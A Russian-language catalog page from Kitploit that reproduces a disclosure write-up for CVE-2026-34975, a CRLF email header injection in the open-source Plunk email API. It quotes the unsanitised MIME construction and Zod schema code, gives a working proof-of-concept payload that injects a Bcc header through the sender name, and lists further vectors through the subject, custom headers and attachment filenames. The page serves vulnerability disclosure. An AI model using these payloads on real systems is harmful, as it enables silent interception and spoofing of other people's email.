Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-34975 — CRLF Email Header Injection в Plunk через raw MIME construction — CVSS 8.5 | Kitploit
Инструменты/GitHubGitHub/romain-deperne/cve-2026-34975
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСтатьи и ИсследованияБезопасность Электронной Почты
GitHubromain-deperne/cve-2026-34975

CVE-2026-34975

CRLF Email Header Injection в Plunk через raw MIME construction — CVSS 8.5

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-34975 — CRLF-инъекция в заголовки электронной почты в Plunk через конструирование необработанного MIME

Серьёзность: Высокая (CVSS 8.5) CWE: CWE-93 — Некорректная нейтрализация CRLF-последовательностей ('CRLF Injection') Затронуто: useplunk/plunk (все версии до исправления) Консультация: GHSA NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975

TL;DR

Конечная точка POST /v1/send в Plunk конструирует необработанное MIME-сообщение, подставляя пользовательские поля (from.name, subject, пользовательские заголовки, имена вложений) непосредственно в строку шаблона без санитизации CRLF (\r\n). Аутентифицированный пользователь API может внедрить произвольные заголовки электронной почты — включая Bcc — чтобы незаметно перенаправлять копии писем на адреса, контролируемые атакующим.

Как я это нашёл

Я проводил аудит платформ для отправки электронной почты с открытым исходным кодом — всё, что оборачивает AWS SES и предоставляет API. Plunk позиционируется как удобная для разработчиков альтернатива SendGrid/Postmark, построенная на SES.

Моей точкой входа была функция конструирования необработанного письма. Всякий раз, когда я вижу rawMessage += или шаблонные литералы, собирающие MIME, я проверяю, санитизируется ли каждое пользовательское поле от CRLF. В SESService.ts ответ был очевидно отрицательным: from.name, subject, пользовательские заголовки и имена вложений — всё подставлялось напрямую.

Что подтвердило эксплуатируемость: схема Zod (packages/shared/src/schemas/index.ts) не содержала .regex() или .refine(), отклоняющих \r\n ни в одном из этих полей. Ни санитизации на уровне схемы, ни санитизации на уровне конструирования MIME — чистый путь от ввода API до внедрённого MIME-заголовка.

Я протестировал все четыре вектора (from.name, subject, значение пользовательского заголовка, имя вложения) и подтвердил, что инъекция Bcc: работает. Любой аутентифицированный пользователь API с подтверждённым доменом отправителя может незаметно копировать каждое исходящее письмо на адрес, контролируемый атакующим. Реалистичный сценарий атаки — скомпрометированный ключ API, превращающийся в постоянный перехват электронной почты.

Затронутый компонент

Файл: apps/api/src/services/SESService.ts, строки 137–151

root@kitploit:~
// Уязвимое конструирование необработанного MIME
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
                 `To: ${to}\r\n` +
                 `Subject: ${content.subject}\r\n`;

// Пользовательские заголовки подставляются напрямую
for (const [key, value] of Object.entries(headers)) {
    rawMessage += `${key}: ${value}\r\n`;  // value не санитизируется
}

// Имя вложения
`Content-Disposition: inline; filename="${attachment.filename}"` // не санитизируется

Схема Zod (packages/shared/src/schemas/index.ts) — без проверки CRLF:

root@kitploit:~
headers: z.record(z.string().max(998)).optional()   // без проверки \r\n
from: { name: z.string().optional() }               // без проверки \r\n
subject: z.string().min(1).max(998)                 // без проверки \r\n
filename: z.string().min(1).max(255)                // без проверки \r\n

Корневая причина

Конструирование необработанного MIME требует, чтобы каждое пользовательское значение было очищено от \r\n перед подстановкой. Plunk собирает сообщение с помощью шаблонных литералов и не санитизирует ни одно из четырёх инъектируемых полей. SMTP-парсеры интерпретируют \r\n как границу заголовка, поэтому внедрение \r\nBcc: [email protected] в from.name добавляет реальный заголовок Bcc в исходящее сообщение.

PoC

См. poc.py для полной демонстрации с четырьмя векторами инъекции.

Основная нагрузка — инъекция Bcc через from.name:

root@kitploit:~
payload = {
    "to": "[email protected]",
    "subject": "Legit email",
    "body": "<p>Nothing to see here.</p>",
    "from": {
        "name": "Legit Sender\r\nBcc: [email protected]",
        "email": "[email protected]",
    },
}

Необработанный MIME, созданный SES:

root@kitploit:~
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email

SES доставляет незаметную копию на [email protected] с каждым письмом, отправленным через скомпрометированный ключ API.

Другие векторы инъекции:

  • subject: "Legit Subject\r\nBcc: [email protected]"
  • Значение пользовательского заголовка: {"X-Custom": "value\r\nBcc: [email protected]"}
  • Имя вложения: инъекция MIME-границы

Воздействие

  1. Незаметное перенаправление электронной почты — BCC любого исходящего письма на адрес, контролируемый атакующим
  2. Подделка электронной почты — переопределение заголовков Reply-To, Return-Path, Sender
  3. Повреждение структуры MIME — внедрение произвольных MIME-частей через имя вложения
  4. Требуется только действующий ключ API Plunk и подтверждённый домен отправителя — стандартный аутентифицированный доступ

Хронология

  • Обнаружение: 2026-03-xx
  • Сообщено: частная консультация GHSA
  • Опубликован CVE: CVE-2026-34975
Скачать инструмент